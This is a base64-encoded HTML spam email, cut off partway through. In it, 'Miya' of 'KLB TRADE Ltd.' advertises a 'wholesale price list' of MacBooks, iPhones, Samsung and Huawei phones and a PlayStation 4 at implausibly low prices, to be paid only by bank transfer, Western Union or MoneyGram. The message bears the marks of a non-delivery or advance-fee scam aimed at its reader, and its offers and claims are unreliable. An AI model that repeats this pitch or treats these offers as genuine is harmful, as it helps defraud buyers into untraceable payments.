PFRBQkxFIHN0eWxlPSJGT05ULVNJWkU6IDE0cHg7IFdJRFRIOiA2NDhwdDsgQk9SREVSLUNP TExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTMxOTMgd2lkdGg9ODY0Pg0KPFRCT0RZPg0KPFRS IGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1 cHQ7IFdJRFRIOiA2NDhwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigw LDAsMCkiIGhlaWdodD0xOSB3aWR0aD04NjQgY29sU3Bhbj0xMj5IZWxsbywmbmJzcDtkZWFy Jm5ic3A7ZnJpZW5kLiZuYnNwO05pY2UmbmJzcDtkYXnvvIE8L1REPjwvVFI+DQo8VFIgaGVp Z2h0PTIwPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTVwdDsgV0lE VEg6IDY0OHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIg aGVpZ2h0PTIwIHdpZHRoPTg2NCBjb2xTcGFuPTEyPjxTUEFOIHN0eWxlPSJGT05ULVNJWkU6 IDExcHQiPlRoaXMmbmJzcDtpcyZuYnNwO01peWEgKG1hbmFnZXIpJm5ic3A7ZnJvbSZuYnNw OzwvU1BBTj48Rk9OVCBzdHlsZT0iRk9OVC1TSVpFOiBzbWFsbCIgY29sb3I9IzAwMDAwMD48 U1BBTiBzdHlsZT0iRk9OVC1TSVpFOiAxNHB4OyBGT05ULVdFSUdIVDogYm9sZCI+S0xCIFRS QURFIEx0ZC48L1NQQU4+PFNQQU4gc3R5bGU9IkZPTlQtU0laRTogMTFwdCI+PEI+Jm5ic3A7 PC9CPig8L1NQQU4+PC9GT05UPjxGT05UIHN0eWxlPSJGT05ULVNJWkU6IHNtYWxsIiBjb2xv cj0jMDAwMDAwPjxTUEFOIHN0eWxlPSJGT05ULVNJWkU6IDE0cHgiPjxBIGhyZWY9Imh0dHA6 Ly93d3cua2xidHJhZGUuY29tLyIgdGFyZ2V0PV9ibGFuaz5odHRwOi8vd3d3LmtsYnRyYWRl LmNvbS88L0E+PC9TUEFOPjxTUEFOIHN0eWxlPSJGT05ULVNJWkU6IDExcHQiPik8L1NQQU4+ PC9GT05UPjxTUEFOIHN0eWxlPSJGT05ULVNJWkU6IDExcHQiPiwgYSAxNyB5ZWFycyBzdXBw bGllci48L1NQQU4+PEJSPjwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9 IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNjQ4cHQ7IFZFUlRJ Q0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9 ODY0IGNvbFNwYW49MTI+Rm9yJm5ic3A7bW9yZSZuYnNwO2luZm9ybWF0aW9uJm5ic3A7b2Ym bmJzcDtvdXImbmJzcDtvcmlnaW5hbCZuYnNwO3Byb2R1Y3RzLCZuYnNwO3dlbGNvbWUmbmJz cDt0byZuYnNwO3Zpc2l0Jm5ic3A7b3VyJm5ic3A7d2Vic2l0ZSZuYnNwO29yJm5ic3A7Y29u dGFjdCZuYnNwO21lJm5ic3A7ZGlyZWN0bHkuJm5ic3A7Q29tcGFueSZuYnNwO3Zpc2l0aW5n Jm5ic3A7aXMmbmJzcDt3ZWxjb21lZC48L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFRE IHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDY0OHB0 OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5 IHdpZHRoPTg2NCBjb2xTcGFuPTEyPjwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQg c3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNjQ4cHQ7 IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkg d2lkdGg9ODY0IGNvbFNwYW49MTI+PFNQQU4gc3R5bGU9IkZPTlQtU0laRTogMTRweCI+V2Vs Y29tZSB0byB2aXNpdCBvdXIgd2Vic2l0ZSB0byBnZXQgbW9yZSBpbmZvcm1hdGlvbiBhYm91 dCBvdXIgcHJvZHVjdHMuPC9TUEFOPjxCUj48L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0K PFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDY0 OHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0 PTE5IHdpZHRoPTg2NCBjb2xTcGFuPTEyPlNoaXBwaW5nJm5ic3A7bWV0aG9kJm5ic3A7OiZu YnNwO0RITCwmbmJzcDtVUFMsJm5ic3A7RmVkRXgsJm5ic3A7VE5ULCZuYnNwO0VNUywmbmJz cDtDaGluYSZuYnNwO1Bvc3QuPC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHls ZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA2NDhwdDsgVkVS VElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0 aD04NjQgY29sU3Bhbj0xMj5QYXltZW50Jm5ic3A7bWV0aG9kJm5ic3A7OiZuYnNwO1QvVCwm bmJzcDtXZXN0ZXJuJm5ic3A7VW5pb24sJm5ic3A7TW9uZXkmbmJzcDtHcmFtPC9URD48L1RS Pg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6 IDE0LjI1cHQ7IFdJRFRIOiA2NDhwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6 IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD04NjQgY29sU3Bhbj0xMj5Xb3JsZHdpZGUm bmJzcDtXYXJyYW50eSZuYnNwOzombmJzcDtPcmlnaW5hbCZuYnNwO3Byb2R1Y3RzJm5ic3A7 KyZuYnNwO0F0Jm5ic3A7bGVhc3QmbmJzcDszJm5ic3A7eWVhcnMmbmJzcDt3YXJyYW50eTwv VEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsg SEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNjQ4cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7 IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9ODY0IGNvbFNwYW49MTI+U2t5 cGUmbmJzcDtJRCZuYnNwOzombmJzcDt0cmFkZWtsYjwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9 MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgVEVYVC1ERUNPUkFUSU9OOiB1bmRl cmxpbmU7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDY0OHB0OyBWRVJUSUNBTC1BTElHTjog bWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKTsgVEVYVC1BTElHTjogY2VudGVyIiBoZWlnaHQ9 MTkgd2lkdGg9ODY0IGNvbFNwYW49MTI+VGhlJm5ic3A7QmVzdCZuYnNwO1dob2xlc2FsZSZu YnNwO1ByaWNlJm5ic3A7TGlzdDwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5 bGU9IkZPTlQtU0laRTogMTFwdDsgVEVYVC1ERUNPUkFUSU9OOiB1bmRlcmxpbmU7IEhFSUdI VDogMTQuMjVwdDsgV0lEVEg6IDY0OHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xP UjogcmdiKDI1NSwwLDApOyBGT05ULVNUWUxFOiBpdGFsaWMiIGhlaWdodD0xOSB3aWR0aD04 NjQgY29sU3Bhbj0xMj5UaGUmbmJzcDtMYXRlc3QmbmJzcDtQcm9kdWN0cyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvVEQ+PC9UUj4N CjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAx NC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiBy Z2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5OZXcmbmJzcDtBcHBs ZSZuYnNwO01hY2Jvb2smbmJzcDsxMiImbmJzcDs1MTJHQiZuYnNwO3dpdGgmbmJzcDtSZXRp bmEmbmJzcDtkaXNwbGF5PC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlH SFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09M T1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjEyLjAmbmJz cDtpbmNoZXMmbmJzcDtJbnRlbCZuYnNwO0NvcmUmbmJzcDtNJm5ic3A7cHJvY2Vzc29yJm5i c3A7NTEyR0ImbmJzcDtTU0Q8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhF SUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENP TE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDQxNSZuYnNwOzwvVEQ+PC9U Uj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hU OiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9S OiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5OZXcmbmJzcDtB cHBsZSZuYnNwO01hY2Jvb2smbmJzcDsxMiImbmJzcDsyNTZHQiZuYnNwO3dpdGgmbmJzcDtS ZXRpbmEmbmJzcDtkaXNwbGF5PC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBI RUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsg Q09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjEyLjAm bmJzcDtpbmNoZXMmbmJzcDtJbnRlbCZuYnNwO0NvcmUmbmJzcDtNJm5ic3A7cHJvY2Vzc29y Jm5ic3A7MjU2R0ImbmJzcDtTU0Q8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7 IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7 IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDM5OCZuYnNwOzwvVEQ+ PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJ R0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENP TE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5pUGhvbmUm bmJzcDs2UyBQbHVzPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6 IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6 IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjUuNS1pbmNoJm5i c3A7MTZHQi82NEdCLzEyOEdCPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBI RUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBD T0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQzMzAvMzU1LzM4NTwvVEQ+ PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJ R0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENP TE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5TYW1zdW5n Jm5ic3A7R0FMQVhZJm5ic3A7UzY8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7 IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxl OyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+NS4x LWluY2gmbmJzcDszMkdCPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlH SFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xP UjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQyODUmbmJzcDs8L1REPjwvVFI+ DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDog MTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjog cmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+U2Ftc3VuZyZuYnNw O0dBTEFYWSZuYnNwO1M2Jm5ic3A7RWRnZTwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTog MTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBt aWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49 NT41LjEtaW5jaCZuYnNwOzMyR0IvNjRHQjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTog MTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1p ZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kMjkwLzI5NTwv VEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsg SEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7 IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5IdWF3 ZWkmbmJzcDtQODwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAx NC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiBy Z2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT41LjItaW5jaCZuYnNw OzY0R0I8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVw dDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCww LDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDE1MCZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWln aHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBX SURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDAp IiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5Tb255Jm5ic3A7UGxheVN0YXRpb24m bmJzcDs0Jm5ic3A7MjB0aCZuYnNwO0Fubml2ZXJzYXJ5Jm5ic3A7RWRpdGlvbiZuYnNwOyg1 MDBHQik8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVw dDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAs MCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+V2l0aCZuYnNwO0dhbWUmbmJz cDsmYW1wOyZuYnNwO0NvbnRyb2xsZXI8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDEx cHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRk bGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDE1MDwvVEQ+PC9U Uj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgVEVYVC1E RUNPUkFUSU9OOiB1bmRlcmxpbmU7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDY0OHB0OyBW RVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKTsgVEVYVC1BTElHTjog Y2VudGVyIiBoZWlnaHQ9MTkgd2lkdGg9ODY0IGNvbFNwYW49MTI+PC9URD48L1RSPg0KPFRS IGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBURVhULURFQ09SQVRJ T046IHVuZGVybGluZTsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNjQ4cHQ7IFZFUlRJQ0FM LUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMjU1LDAsMCk7IEZPTlQtU1RZTEU6IGl0YWxp YyIgaGVpZ2h0PTE5IHdpZHRoPTg2NCBjb2xTcGFuPTEyPkxhcHRvcCAmYW1wOyBOb3RlYm9v ayZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsg Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNw OyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5i c3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyZu YnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsg Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05U LVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1B TElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBj b2xTcGFuPTY+QXBwbGUmbmJzcDtNYWNCb29rJm5ic3A7UHJvJm5ic3A7d2l0aCZuYnNwO1Jl dGluYSZuYnNwO2Rpc3BsYXkmbmJzcDvvvIhNR1hDMkNIL0HvvIk8L1REPg0KPFREIHN0eWxl PSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJU SUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRo PTM2MCBjb2xTcGFuPTU+MTUuNCZuYnNwO2luY2hlcyZuYnNwO2k3Jm5ic3A7NTEyR0ImbmJz cDtTU0Q8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVw dDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCww LDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDQyMCZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWln aHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBX SURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDAp IiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5BcHBsZSZuYnNwO01hY0Jvb2smbmJz cDtQcm8mbmJzcDt3aXRoJm5ic3A7UmV0aW5hJm5ic3A7ZGlzcGxheSZuYnNwO++8iE1HWEEy Q0gvQe+8iTwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4y NXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2Io MCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT4xNS40Jm5ic3A7aW5jaGVz Jm5ic3A7aTcmbmJzcDsyNTZHQiZuYnNwO1NTRDwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0la RTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046 IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kNDEwJm5i c3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAx MXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1p ZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02 PkFwcGxlJm5ic3A7TWFjQm9vayZuYnNwO1BybyZuYnNwO3dpdGgmbmJzcDtSZXRpbmEmbmJz cDtkaXNwbGF5Jm5ic3A777yITUdYOTJDSC9B77yJPC9URD4NCjxURCBzdHlsZT0iRk9OVC1T SVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJ R046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29s U3Bhbj01PjEzLjMmbmJzcDtpbmNoZXMmbmJzcDtpNSZuYnNwOzUxMkdCJm5ic3A7U1NEPC9U RD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRI OiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVp Z2h0PTE5IHdpZHRoPTcyPiQ0MDAmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0K PFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMy NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0 PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+QXBwbGUmbmJzcDtNYWNCb29rJm5ic3A7QWlyJm5i c3A777yITUQ3NjFDSC9C77yJPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBI RUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsg 